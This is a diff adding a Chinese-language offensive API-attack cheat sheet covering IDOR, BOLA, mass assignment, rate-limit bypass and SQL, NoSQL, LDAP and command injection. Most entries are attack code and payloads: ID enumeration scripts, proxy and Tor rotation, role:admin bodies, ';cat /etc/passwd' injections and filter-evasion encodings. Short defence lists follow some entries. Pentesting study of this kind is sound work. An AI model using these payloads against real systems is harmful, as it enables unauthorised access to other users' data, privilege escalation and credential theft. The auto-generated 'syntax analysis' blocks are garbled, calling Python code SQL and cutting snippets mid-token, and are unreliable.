+ # UUID枚举
1162
+ # 使用ffuf
1163
+ ffuf -u http://target.com/api/users/FUZZ -w uuid_list.txt -H "Authorization: Bearer TOKEN"
1164
+ ```
1165
+ **语法解析:**
1166
+ - `seq 1 1000` — 生成1到1000的数字 _value_
1167
+ - `ffuf` — Web模糊测试工具 _command_
1168
+
1169
+ **3. 批量检测**
1170
+ > 批量检测IDOR
1171
+ ```
1172
+ # Python脚本批量检测
1173
+ import requests
1174
+
1175
+ token = "YOUR_TOKEN"
1176
+ for i in range(1, 100):
1177
+ r = requests.get(
1178
+ f"http://target.com/api/users/{i}",
1179
+ headers={"Authorization": f"Bearer {token}"}
1180
+ )
1181
+ if r.status_code == 200:
1182
+ print(f"ID {i}: {r.json()}")
1183
+
1184
+ # 检测数据泄露
1185
+ # 比较不同用户访问同一ID的响应
1186
+ ```
1187
+ **语法解析:**
1188
+ - `Authorization` — 认证头 _header_
1189
+
1190
+ **4. 跨用户访问**
1191
+ > 跨用户访问测试
1192
+ ```
1193
+ # 尝试访问其他用户数据
1194
+ # 用户A的Token访问用户B的数据
1195
+
1196
+ # 修改请求中的ID
1197
+ GET /api/users/2 # 原本是用户1
1198
+ GET /api/orders?user_id=2 # 原本是user_id=1
1199
+
1200
+ # 修改POST/PUT请求体
1201
+ {
1202
+ "user_id": 2, # 修改为其他用户ID
1203
+ "amount": 1000
1204
+ }
1205
+ ```
1206
+ **语法解析:**
1207
+ - `user_id` — 请求体中的用户ID _value_
1208
+
1209
+ **WAF/EDR 绕过变体:**
1210
+
1211
+ **ID变体绕过**
1212
+ > ID变体绕过
1213
+ ```
1214
+ # 数字变体
1215
+ /api/users/001
1216
+ /api/users/1
1217
+ /api/users/0x1
1218
+ /api/users/1.0
1219
+
1220
+ # 编码绕过
1221
+ /api/users/%31 # URL编码
1222
+ /api/users/MSAg # Base64编码
1223
+
1224
+ # 数组绕过
1225
+ /api/users?id[]=1&id[]=2
1226
+ /api/users[0]=1&users[1]=2
1227
+ ```
1228
+ **语法解析:**
1229
+ - `%xx` — URL编码 _encoding_
1230
+ - `base64` — Base64编码 _encoding_
1231
+
1232
+ **参数污染**
1233
+ > 参数污染绕过
1234
+ ```
1235
+ # 参数污染
1236
+ /api/users?id=1&id=2
1237
+ /api/users?id=2&id=1
1238
+
1239
+ # JSON注入
1240
+ {"id": 1, "id": 2}
1241
+
1242
+ # 批量操作
1243
+ /api/users/batch?ids=1,2,3,4,5
1244
+ ```
1245
+ **语法解析:**
1246
+ - `#` — 命令/载荷起始 _command_
1247
+ - ` 参数污染
1248
+ /api/users?id=1&id=2
1249
+ /api/users?id=2&id=1
1250
+
1251
+ # JSON注入
1252
+ {"id": 1, "id": 2}
1253
+
1254
+ # 批量操作
1255
+ /api/users/batch?ids=1,2,3,4,5` — 参数与载荷内容 _value_
1256
+
1257
+
1258
+ **概述:** IDOR(Insecure Direct Object Reference)不安全的直接对象引用是API中最常见的高危漏洞,攻击者通过修改请求中的对象标识符(用户ID/订单号/文件名)访问或操作其他用户的资源。
1259
+
1260
+ **漏洞原理:** IDOR漏洞表现形式:1)水平越权(GET /api/users/1001 → /api/users/1002查看他人资料) 2)垂直越权(普通用户访问管理员接口) 3)对象级授权缺失(修改/删除他人资源) 4)可预测的ID(自增数字/UUID可枚举) 5)批量IDOR(遍历导出数据)。
1261
+
1262
+ **利用方法:** 完整利用流程:
1263
+ 1. 识别使用ID的API端点
1264
+ 2. 使用自己的账户测试
1265
+ 3. 枚举其他ID值
1266
+ 4. 验证是否能访问其他用户数据
1267
+ 5. 批量枚举敏感数据
1268
+
1269
+ **防御措施:** 防御措施:
1270
+ 1. 实施对象级授权检查
1271
+ 2. 使用不可预测的ID(UUID)
1272
+ 3. 验证用户对资源的所有权
1273
+ 4. 记录异常访问模式
1274
+ 5. 实施速率限制
1275
+
1276
+ ---
1277
+
1278
+ ### API速率限制绕过 `api-rate-limit`
1279
+ _绕过API速率限制进行暴力攻击_
1280
+ 子类:**速率限制** · tags: `api` `rate-limit` `bypass` `brute-force`
1281
+
1282
+ **前置条件:**
1283
+ - 目标有速率限制
1284
+ - 限制实现有缺陷
1285
+
1286
+ **攻击链:**
1287
+
1288
+ **1. 检测速率限制**
1289
+ > 检测速率限制
1290
+ ```
1291
+ # 快速发送请求检测限制
1292
+ for i in $(seq 1 100); do
1293
+ curl -s -o /dev/null -w "%{http_code}\n" http://target.com/api/test
1294
+ done
1295
+
1296
+ # 观察响应
1297
+ # 429 Too Many Requests
1298
+ # 403 Forbidden
1299
+ # 自定义错误消息
1300
+ ```
1301
+ **语法解析:**
1302
+ - `429` — HTTP状态码,请求过多 _value_
1303
+ - `%{http_code}` — curl输出HTTP状态码 _variable_
1304
+
1305
+ **2. IP绕过**
1306
+ > 使用IP头绕过
1307
+ ```
1308
+ # X-Forwarded-For绕过
1309
+ curl -H "X-Forwarded-For: 1.2.3.4" http://target.com/api/test
1310
+ curl -H "X-Forwarded-For: 1.2.3.5" http://target.com/api/test
1311
+ curl -H "X-Forwarded-For: 1.2.3.6" http://target.com/api/test
1312
+
1313
+ # 其他IP头
1314
+ X-Real-IP: 1.2.3.4
1315
+ X-Originating-IP: 1.2.3.4
1316
+ X-Remote-IP: 1.2.3.4
1317
+ X-Client-IP: 1.2.3.4
1318
+ True-Client-IP: 1.2.3.4
1319
+
1320
+ # 自动化
1321
+ for i in $(seq 1 100); do
1322
+ curl -H "X-Forwarded-For: 1.2.3.$i" http://target.com/api/test
1323
+ done
1324
+ ```
1325
+ **语法解析:**
1326
+ - `X-Forwarded-For` — 代理转发的原始IP _value_
1327
+ - `X-Real-IP` — 真实客户端IP _value_
1328
+
1329
+ **3. 分布式绕过**
1330
+ > 分布式绕过速率限制
1331
+ ```
1332
+ # 使用多个代理
1333
+ # 配置代理池
1334
+ proxies = [
1335
+ "http://proxy1:8080",
1336
+ "http://proxy2:8080",
1337
+ "http://proxy3:8080"
1338
+ ]
1339
+
1340
+ # Python脚本
1341
+ import requests
1342
+ proxies_list = ["http://proxy1:8080", "http://proxy2:8080"]
1343
+ for i, proxy in enumerate(proxies_list):
1344
+ requests.get("http://target.com/api/test", proxies={"http": proxy})
1345
+
1346
+ # 使用Tor
1347
+ # 每次请求头换Tor电路
1348
+ import stem.process
1349
+ import requests
1350
+
1351
+ # 使用云函数
1352
+ # AWS Lambda, Azure Functions等
1353
+ ```
1354
+ **语法解析:**
1355
+ - `Bearer` — 令牌类型 _keyword_
1356
+ - `Authorization` — 认证头 _header_
1357
+
1358
+ **4. 其他绕过技术**
1359
+ > 其他绕过技术
1360
+ ```
1361
+ # 用户代理绕过
1362
+ curl -A "Googlebot" http://target.com/api/test
1363
+ curl -A "Bingbot" http://target.com/api/test
1364
+
1365
+ # 认证绕过
1366
+ # 使用不同账户
1367
+ for token in $TOKENS; do
1368
+ curl -H "Authorization: Bearer $token" http://target.com/api/test
1369
+ done
1370
+
1371
+ # HTTP/2多路复用
1372
+ # 单个连接发送多个请求
1373
+
1374
+ # 缓慢请求
1375
+ # Slowloris攻击
1376
+ ```
1377
+ **语法解析:**
1378
+ - `curl` — HTTP请求工具 _command_
1379
+ - `-H` — 自定义请求头 _parameter_
1380
+ - `Authorization` — 认证头 _header_
1381
+
1382
+ **WAF/EDR 绕过变体:**
1383
+
1384
+ **API Key轮换**
1385
+ > API Key轮换
1386
+ ```
1387
+ # 使用多个API Key
1388
+ api_keys = ["key1", "key2", "key3", "key4"]
1389
+ for i, key in enumerate(api_keys):
1390
+ requests.get("http://target.com/api/test", headers={"X-API-Key": key})
1391
+
1392
+ # 注册多个账户获取多个Token
1393
+ ```
1394
+ **语法解析:**
1395
+ - `# 使用多个API Key
1396
+ api_keys = ["key1", "key2", "key3", "key4"]
1397
+ for i, key in enumer` — 攻击载荷 _value_
1398
+
1399
+ **请求分散**
1400
+ > 请求分散
1401
+ ```
1402
+ # 添加延迟
1403
+ import time
1404
+ for i in range(100):
1405
+ requests.get("http://target.com/api/test")
1406
+ time.sleep(0.5) # 每次请求头隔0.5秒
1407
+
1408
+ # 分散到不同时间段
1409
+ # 使用定时任务分散请求
1410
+ ```
1411
+ **语法解析:**
1412
+ - `# 添加延迟
1413
+ import time
1414
+ for i in range(100):
1415
+ requests.get("http://target.com/api/test")
1416
+ time.` — SQL表达式 _value_
1417
+ - `sleep` — SQL关键字 _keyword_
1418
+ - `(0.5) # 每次请求头隔0.5秒
1419
+
1420
+ # 分散到不同时间段
1421
+ # 使用定时任务分散请求` — SQL表达式 _value_
1422
+
1423
+
1424
+ **概述:** API速率限制缺失允许攻击者无限制地调用API接口,可导致暴力破解(密码/OTP)、数据批量爬取、资源滥用(发送大量短信/邮件)和拒绝服务等严重安全问题。
1425
+
1426
+ **漏洞原理:** API速率限制绕过:1)完全无速率限制(可无限调用) 2)仅基于IP限制(更换IP/使用代理绕过) 3)仅基于用户限制(创建多个账号) 4)仅限制某些端点(找到不受限的等价端点) 5)HTTP方法变换绕过(GET→POST) 6)增加请求参数绕过签名。
1427
+
1428
+ **利用方法:** 完整利用流程:
1429
+ 1. 检测速率限制阈值
1430
+ 2. 分析限制基于什么(IP/用户/Key)
1431
+ 3. 选择合适的绕过方法
1432
+ 4. 执行暴力攻击
1433
+
1434
+ **防御措施:** 防御措施:
1435
+ 1. 基于用户+IP组合限流
1436
+ 2. 不信任客户端IP头
1437
+ 3. 使用滑动窗口限流
1438
+ 4. 实施CAPTCHA
1439
+ 5. 监控异常访问模式
1440
+
1441
+ ---
1442
+
1443
+ ### 批量赋值漏洞 `api-mass-assignment`
1444
+ _利用批量赋值漏洞修改敏感字段_
1445
+ 子类:**批量赋值** · tags: `api` `mass-assignment` `privilege-escalation`
1446
+
1447
+ **前置条件:**
1448
+ - API接受JSON输入
1449
+ - 存在未过滤的字段
1450
+
1451
+ **攻击链:**
1452
+
1453
+ **1. 识别输入字段**
1454
+ > 识别返回的字段
1455
+ ```
1456
+ # 正常请求
1457
+ POST /api/users
1458
+ {
1459
+ "name": "test",
1460
+ "email": "test@test.com"
1461
+ }
1462
+
1463
+ # 观察响应
1464
+ {
1465
+ "id": 1,
1466
+ "name": "test",
1467
+ "email": "test@test.com",
1468
+ "role": "user",
1469
+ "isAdmin": false,
1470
+ "createdAt": "2024-01-01"
1471
+ }
1472
+ ```
1473
+ **语法解析:**
1474
+ - `role` — 用户角色字段 _value_
1475
+ - `isAdmin` — 管理员标志 _value_
1476
+
1477
+ **2. 添加敏感字段**
1478
+ > 添加敏感字段
1479
+ ```
1480
+ # 尝试添加role字段
1481
+ POST /api/users
1482
+ {
1483
+ "name": "test",
1484
+ "email": "test@test.com",
1485
+ "role": "admin"
1486
+ }
1487
+
1488
+ # 尝试isAdmin
1489
+ {
1490
+ "name": "test",
1491
+ "email": "test@test.com",
1492
+ "isAdmin": true
1493
+ }
1494
+
1495
+ # 尝试多个字段
1496
+ {
1497
+ "name": "test",
1498
+ "email": "test@test.com",
1499
+ "role": "admin",
1500
+ "isAdmin": true,
1501
+ "permissions": ["read", "write", "delete"]
1502
+ }
1503
+ ```
1504
+ **语法解析:**
1505
+ - `"role": "admin"` — 尝试设置管理员角色 _value_
1506
+ - `"isAdmin": true` — 尝试设置管理员标志 _value_
1507
+
1508
+ **3. 更新操作**
1509
+ > 更新操作测试
1510
+ ```
1511
+ # PUT/PATCH更新
1512
+ PATCH /api/users/123
1513
+ {
1514
+ "role": "admin"
1515
+ }
1516
+
1517
+ # 尝试修改其他用户
1518
+ PATCH /api/users/1
1519
+ {
1520
+ "role": "admin"
1521
+ }
1522
+
1523
+ # 尝试修改密码
1524
+ PATCH /api/users/me
1525
+ {
1526
+ "password": "newpassword123"
1527
+ }
1528
+ ```
1529
+
1530
+ **4. 嵌套对象**
1531
+ > 嵌套对象测试
1532
+ ```
1533
+ # 嵌套对象赋值
1534
+ {
1535
+ "name": "test",
1536
+ "settings": {
1537
+ "notifications": true,
1538
+ "isAdmin": true
1539
+ }
1540
+ }
1541
+
1542
+ # 数组赋值
1543
+ {
1544
+ "name": "test",
1545
+ "roles": ["admin", "superadmin"]
1546
+ }
1547
+ ```
1548
+
1549
+ **WAF/EDR 绕过变体:**
1550
+
1551
+ **字段变体**
1552
+ > 尝试字段变体
1553
+ ```
1554
+ # 尝试不同字段名
1555
+ is_admin, is_Admin, IS_ADMIN
1556
+ admin, Admin, ADMIN
1557
+ user_type, userType, user_type_id
1558
+
1559
+ # 尝试内部字段
1560
+ __v, _id, created_at, updated_at
1561
+ password_hash, passwordHash
1562
+ ```
1563
+ **语法解析:**
1564
+ - `# 尝试不同字段名
1565
+ is_admin, is_Admin, IS_ADMIN
1566
+ admin, Admin, ADMIN
1567
+ user_type, userTyp` — 攻击载荷 _value_
1568
+
1569
+ **类型混淆**
1570
+ > 类型混淆测试
1571
+ ```
1572
+ # 数字转布尔
1573
+ {"isAdmin": 1}
1574
+ {"isAdmin": "true"}
1575
+
1576
+ # 数组转字符串
1577
+ {"roles": "admin"}
1578
+
1579
+ # 对象转数组
1580
+ {"settings": ["admin"]}
1581
+ ```
1582
+ **语法解析:**
1583
+ - `#` — 命令/载荷起始 _command_
1584
+ - ` 数字转布尔
1585
+ {"isAdmin": 1}
1586
+ {"isAdmin": "true"}
1587
+
1588
+ # 数组转字符串
1589
+ {"roles": "admin"}
1590
+
1591
+ # 对象转数组
1592
+ {"settings": ["admin"]}` — 参数与载荷内容 _value_
1593
+
1594
+
1595
+ **概述:** 批量赋值(Mass Assignment)漏洞发生在API自动将请求参数绑定到数据模型时,攻击者通过提交额外的字段(如role=admin/is_verified=true)来修改不应由用户控制的属性。
1596
+
1597
+ **漏洞原理:** 批量赋值漏洞场景:1)用户注册时添加role:admin字段提升权限 2)修改个人资料时添加balance:999999修改余额 3)创建订单时修改price:0改价格 4)更新设置时添加is_admin:true获取管理权限。框架的自动绑定特性(如Spring/Rails)是根因。
1598
+
1599
+ **利用方法:** 完整利用流程:
1600
+ 1. 发送正常请求观察响应字段
1601
+ 2. 识别敏感字段(role, isAdmin等)
1602
+ 3. 在请求中添加敏感字段
1603
+ 4. 验证是否成功修改
1604
+
1605
+ **防御措施:** 防御措施:
1606
+ 1. 使用DTO(数据传输对象)
1607
+ 2. 白名单允许的字段
1608
+ 3. 使用对象映射库配置
1609
+ 4. 验证和过滤输入
1610
+
1611
+ ---
1612
+
1613
+ ### BOLA破坏对象级授权 `api-bola`
1614
+ _利用BOLA漏洞访问未授权对象_
1615
+ 子类:**BOLA** · tags: `api` `bola` `authorization` `idor`
1616
+
1617
+ **前置条件:**
1618
+ - API使用对象ID
1619
+ - 授权检查缺陷
1620
+
1621
+ **攻击链:**
1622
+
1623
+ **1. 识别对象访问**
1624
+ > 识别对象访问模式
1625
+ ```
1626
+ # 观察API端点
1627
+ GET /api/users/{user_id}/documents
1628
+ GET /api/teams/{team_id}/members
1629
+ GET /api/orders/{order_id}
1630
+
1631
+ # 分析对象关系
1632
+ # 用户 -> 文档
1633
+ # 团队 -> 成员
1634
+ # 订单 -> 用户
1635
+ ```
1636
+ **语法解析:**
1637
+ - `{user_id}` — 用户ID参数 _value_
1638
+ - `{team_id}` — 团队ID参数 _value_
1639
+
1640
+ **2. 测试授权**
1641
+ > 测试授权检查
1642
+ ```
1643
+ # 创建两个账户测试
1644
+ # 用户A: user_a_token
1645
+ # 用户B: user_b_token
1646
+
1647
+ # 用户A创建资源
1648
+ POST /api/documents
1649
+ Authorization: Bearer user_a_token
1650
+ {"title": "Secret Doc"}
1651
+ # 返回: {"id": "doc_123"}
1652
+
1653
+ # 用户B尝试访问
1654
+ GET /api/documents/doc_123
1655
+ Authorization: Bearer user_b_token
1656
+ # 如果返回200,存在BOLA
1657
+ ```
1658
+ **语法解析:**
1659
+ - `POST` — HTTP方法 _method_
1660
+ - `Authorization` — 认证头 _header_
1661
+
1662
+ **3. 横向访问**
1663
+ > 横向访问测试
1664
+ ```
1665
+ # 枚举其他用户资源
1666
+ for doc_id in doc_1 doc_2 doc_3; do
1667
+ curl -H "Authorization: Bearer $TOKEN" "http://target.com/api/documents/$doc_id"
1668
+ done
1669
+
1670
+ # 访问其他用户私有数据
1671
+ GET /api/users/2/profile
1672
+ GET /api/users/2/settings
1673
+ GET /api/users/2/credit-cards
1674
+ ```
1675
+ **语法解析:**
1676
+ - `curl` — HTTP请求工具 _command_
1677
+ - `-H` — 自定义请求头 _parameter_
1678
+ - `Authorization` — 认证头 _header_
1679
+
1680
+ **4. 修改/删除操作**
1681
+ > 修改/删除操作测试
1682
+ ```
1683
+ # 修改其他用户数据
1684
+ PUT /api/documents/doc_123
1685
+ Authorization: Bearer user_b_token
1686
+ {"title": "Modified by B"}
1687
+
1688
+ # 删除其他用户数据
1689
+ DELETE /api/documents/doc_123
1690
+ Authorization: Bearer user_b_token
1691
+
1692
+ # 添加到其他团队
1693
+ POST /api/teams/team_1/members
1694
+ Authorization: Bearer attacker_token
1695
+ {"user_id": "attacker_id"}
1696
+ ```
1697
+ **语法解析:**
1698
+ - `Authorization` — 认证头 _header_
1699
+
1700
+ **WAF/EDR 绕过变体:**
1701
+
1702
+ **路径遍历**
1703
+ > 路径遍历绕过
1704
+ ```
1705
+ # 路径遍历访问
1706
+ GET /api/users/../admin
1707
+ GET /api/users/..%2Fadmin
1708
+
1709
+ # 编码绕过
1710
+ GET /api/users/%2e%2e/admin
1711
+ GET /api/users/..%c0%afadmin
1712
+ ```
1713
+ **语法解析:**
1714
+ - `#` — 命令/载荷起始 _command_
1715
+ - ` 路径遍历访问
1716
+ GET /api/users/../admin
1717
+ GET /api/users/..%2Fadmin
1718
+
1719
+ # 编码绕过
1720
+ GET /api/users/%2e%2e/admin
1721
+ GET /api/users/..%c0%afadmin` — 参数与载荷内容 _value_
1722
+
1723
+ **参数篡改**
1724
+ > 参数篡改绕过
1725
+ ```
1726
+ # 修改请求方法
1727
+ # GET变POST
1728
+ POST /api/documents/doc_123
1729
+
1730
+ # 添加参数
1731
+ GET /api/documents/doc_123?user_id=attacker
1732
+
1733
+ # 修改Content-Type
1734
+ Content-Type: application/xml
1735
+ <document><id>doc_123</id></document>
1736
+ ```
1737
+ **语法解析:**
1738
+ - `#` — 命令/载荷起始 _command_
1739
+ - ` 修改请求方法
1740
+ # GET变POST
1741
+ POST /api/documents/doc_123
1742
+
1743
+ # 添加参数
1744
+ GET /api/documents/doc_123?user_id=attacker
1745
+
1746
+ # 修改Content-Type
1747
+ Content-Type: application/xml
1748
+ <document><id>doc_123</id></document>` — 参数与载荷内容 _value_
1749
+
1750
+
1751
+ **概述:** BOLA(Broken Object Level Authorization)是OWASP API Top 10排名第一的漏洞,指API在对象级别缺乏适当的授权检查,允许认证用户访问或操作不属于自己的资源对象。
1752
+
1753
+ **漏洞原理:** BOLA与IDOR密切相关,但更强调授权层面的缺陷:1)API仅验证用户已登录但不验证对象所有权 2)通过ID遍历可批量获取所有用户数据 3)GraphQL中通过节点ID直接访问任意对象 4)关联对象授权缺失(访问他人的子资源)。
1754
+
1755
+ **利用方法:** 完整利用流程:
1756
+ 1. 识别使用对象ID的API
1757
+ 2. 创建多个测试账户
1758
+ 3. 测试跨账户访问
1759
+ 4. 枚举其他对象
1760
+ 5. 尝试修改/删除操作
1761
+
1762
+ **防御措施:** 防御措施:
1763
+ 1. 实施对象级授权检查
1764
+ 2. 验证用户对资源的所有权
1765
+ 3. 使用不可预测的ID
1766
+ 4. 记录异常访问
1767
+ 5. 实施速率限制
1768
+
1769
+ ---
1770
+
1771
+ ### API注入攻击 `api-injection`
1772
+ _API端点中的各类注入攻击_
1773
+ 子类:**API注入** · tags: `api` `injection` `sqli` `nosqli`
1774
+
1775
+ **前置条件:**
1776
+ - API接受用户输入
1777
+ - 输入未正确过滤
1778
+
1779
+ **攻击链:**
1780
+
1781
+ **1. SQL注入**
1782
+ > API SQL注入
1783
+ ```
1784
+ # REST API SQL注入
1785
+ GET /api/users?id=1 OR 1=1
1786
+ GET /api/users?name=admin'--
1787
+ GET /api/users?sort=name; SELECT SLEEP(5)--
1788
+
1789
+ # POST请求注入
1790
+ POST /api/users
1791
+ {"name": "admin' OR '1'='1"}
1792
+
1793
+ # JSON注入
1794
+ POST /api/search
1795
+ {"query": "test' UNION SELECT username,password FROM users--"}
1796
+ ```
1797
+ **语法解析:**
1798
+ - `OR 1=1` — SQL注入永真条件 _value_
1799
+ - `UNION SELECT` — 联合查询注入 _value_
1800
+
1801
+ **2. NoSQL注入**
1802
+ > NoSQL注入
1803
+ ```
1804
+ # MongoDB注入
1805
+ GET /api/users?name[$ne]=
1806
+ GET /api/users?age[$gt]=0
1807
+ GET /api/users?role[$ne]=user
1808
+
1809
+ # POST请求
1810
+ POST /api/login
1811
+ {"username": "admin", "password": {"$ne": ""}}
1812
+
1813
+ {"username": "admin", "password": {"$regex": ".*"}}
1814
+
1815
+ # 嵌套查询
1816
+ {"$where": "this.password == this.password"}
1817
+ {"$where": "return true"}
1818
+ ```
1819
+ **语法解析:**
1820
+ - `$ne` — MongoDB不等于操作符 _variable_
1821
+ - `$regex` — 正则表达式匹配 _variable_
1822
+ - `$where` — JavaScript执行 _variable_
1823
+
1824
+ **3. LDAP注入**
1825
+ > LDAP注入
1826
+ ```
1827
+ # LDAP注入
1828
+ GET /api/users?name=*)(uid=*))(|(uid=*
1829
+ GET /api/login?user=*&password=*
1830
+
1831
+ # 认证绕过
1832
+ POST /api/auth
1833
+ {"user": "admin)(|(password=*))", "password": "x"}
1834
+
1835
+ # 信息泄露
1836
+ GET /api/search?name=*)(objectClass=*)
1837
+ ```
1838
+ **语法解析:**
1839
+ - `*)` — LDAP闭合当前过滤器 _value_
1840
+ - `(uid=*)` — 匹配所有用户 _value_
1841
+
1842
+ **4. 命令注入**
1843
+ > 命令注入
1844
+ ```
1845
+ # OS命令注入
1846
+ GET /api/ping?host=127.0.0.1;id
1847
+ GET /api/convert?file=test.pdf;cat /etc/passwd
1848
+
1849
+ # POST请求
1850
+ POST /api/exec
1851
+ {"cmd": "ls -la; cat /etc/passwd"}
1852
+
1853
+ # 反引号注入
1854
+ GET /api/check?host=`id`
1855
+ GET /api/check?host=$(id)
1856
+ ```
1857
+ **语法解析:**
1858
+ - `;id` — 命令分隔符后执行id命令 _value_
1859
+ - ``id`` — 命令替换执行 _value_
1860
+
1861
+ **WAF/EDR 绕过变体:**
1862
+
1863
+ **编码绕过**
1864
+ > 编码绕过
1865
+ ```
1866
+ # URL编码
1867
+ GET /api/users?id=1%20OR%201%3D1
1868
+
1869
+ # Unicode编码
1870
+ GET /api/users?id=1%u0020OR%u00201%3D1
1871
+
1872
+ # 双重编码
1873
+ GET /api/users?id=1%2520OR%25201%253D1
1874
+ ```
1875
+ **语法解析:**
1876
+ - `#` — 命令/载荷起始 _command_
1877
+ - ` URL编码
1878
+ GET /api/users?id=1%20OR%201%3D1
1879
+
1880
+ # Unicode编码
1881
+ GET /api/users?id=1%u0020OR%u00201%3D1
1882
+
1883
+ # 双重编码
1884
+ GET /api/users?id=1%2520OR%25201%253D1` — 参数与载荷内容 _value_
1885
+
1886
+ **Content-Type绕过**
1887
+ > Content-Type绕过
1888
+ ```
1889
+ # 切换Content-Type
1890
+ Content-Type: application/xml
1891
+ <user><id>1 OR 1=1</id></user>
1892
+
1893
+ Content-Type: application/x-www-form-urlencoded
1894
+ id=1+OR+1=1
1895
+
1896
+ # JSON数组
1897
+ {"id": ["1", "OR", "1=1"]}
1898
+ ```
1899
+ **语法解析:**
1900
+ - `# 切换Content-Type
1901
+ Content-Type: application/xml
1902
+ <user><id>1 ` — SQL表达式 _value_
1903
+ - `OR` — SQL关键字 _keyword_
1904
+ - ` 1=1</id></user>
1905
+
1906
+ Content-Type: application/x-www-form-urlencoded
1907
+ id=1+` — SQL表达式 _value_
1908
+ - `OR` — SQL关键字 _keyword_
1909
+ - `+1=1
1910
+
1911
+ # JSON数组
1912
+ {"id": ["1", "` — SQL表达式 _value_
1913
+ - `OR` — SQL关键字 _keyword_
1914
+ - `", "1=1"]}` — SQL表达式 _value_
1915
+
1916
+
1917
+ **概述:** API注入攻击将传统的注入技术(SQL/NoSQL/OS命令/LDAP等)应用于API接口,JSON/XML格式的输入参数、查询字符串、HTTP头等都可能成为注入点,且API通常缺少Web应用的WAF防护。
1918
+
1919
+ **漏洞原理:** API注入攻击面:1)JSON参数中的SQL/NoSQL注入 2)GraphQL查询变量中的注入 3)API网关/中间件的头注入(Host/X-Forwarded-For) 4)文件名/路径参数的命令注入 5)LDAP/XPATH查询参数注入 6)API响应中的XSS(存储型)。
1920
+
1921
+ **利用方法:** 完整利用流程:
1922
+ 1. 识别输入点
1923
+ 2. 分析后端技术栈
1924
+ 3. 选择合适的注入类型
1925
+ 4. 构造注入payload
1926
+ 5. 提取数据或执行命令
1927
+
1928
+ **防御措施:** 防御措施:
1929
+ 1. 使用参数化查询
1930
+ 2. 输入验证和白名单
1931
+ 3. 最小权限原则
1932
+ 4. 错误信息不泄露
1933
+ 5. WAF防护
1934
+
1935
+ ---